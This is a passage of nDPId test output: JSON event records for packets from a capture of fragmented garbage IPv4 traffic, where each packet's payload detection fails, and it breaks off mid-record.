+00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4974,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4985,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4996,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5008,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5021,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5032,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5055,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5066,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5078,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5090,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5101,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5115,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5126,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5137,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5162,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5173,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5215,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5228,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5240,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5257,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5295,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5302,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5309,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5316,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5323,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5329,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5336,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5343,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5351,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5358,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5365,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5373,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5385,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5398,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5410,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5428,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5436,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5448,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":5466,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection 